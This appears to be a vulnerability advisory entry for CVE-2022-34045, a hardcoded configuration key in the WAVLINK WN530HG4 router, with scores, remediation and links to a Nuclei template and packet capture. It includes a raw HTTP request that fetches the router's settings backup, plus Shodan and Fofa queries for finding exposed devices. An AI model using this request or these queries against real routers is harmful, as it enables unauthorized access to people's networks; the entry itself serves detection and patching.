| Title | WAVLINK WN530HG4 - Improper Access Control |
|---|---|
| Author | arafatansari |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network. |
| Remediation | Apply the latest firmware update provided by the vendor to fix the access control issue. |
| CVSS Score | 9.8 |
| EPSS Score | 0.36265 |
| CVE ID | CVE-2022-34045 |
| CWE ID | CWE-798 |
| Shodan Query | http.html:"WN530HG4"http.html:"wn530hg4"http.title:"wi-fi app login" |
| Fofa Query | body="wn530hg4"title="wi-fi app login" |
| Tags | cve cve2022 wavlink exposure vuln |
WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. It contains a hardcoded encryption/decryption key for its configuration files at /etc_ro/lighttpd/www/cgi-bin/ExportAllSettings.sh. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /backupsettings.dat HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34045.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-34045.pcap
N/AN/A